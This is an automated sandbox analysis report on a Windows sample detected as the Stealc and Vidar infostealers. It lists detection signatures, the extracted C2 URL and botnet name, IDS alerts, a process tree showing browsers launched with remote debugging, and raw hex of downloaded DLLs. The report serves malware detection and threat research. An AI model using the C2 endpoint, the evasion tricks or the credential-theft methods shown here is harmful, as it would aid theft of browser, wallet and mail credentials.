Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544852
MD5:	76592155ebf188967a4beac78a55a862
SHA1:	fda830845ecd9f9d4a6e5941deb54cf8807b5b03
SHA256:	f21c72360b2e7dca007a6cc5cfbf8be462191cdc8e71ce146f93faf557084e24
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 76592155EBF188967A4BEAC78A55A862)

chrome.exe (PID: 3348 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2088,i,1954043668539771639,8201722500257745172,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8148 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2548,i,8434431473266901981,1364443360911766042,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7240 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7076 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8876 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7236 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7672 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7200 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2578960631.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2165259580.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3340	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3340, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3348, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:53.841833+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:53.834507+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:54.132222+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:55.238468+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:54.139761+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:53.418756+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:34:55.832715+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T20:35:20.028128+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:21.216922+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:23.242756+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:23.739226+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:24.858326+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP
2024-10-29T20:35:25.358455+0100	2803304	3	Unknown Traffic	192.168.2.5	49863	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.b50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.b50000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C586C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C586C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50047 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50114 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2606057339.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2165259580.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2606057339.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2165259580.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:34:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 19:35:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 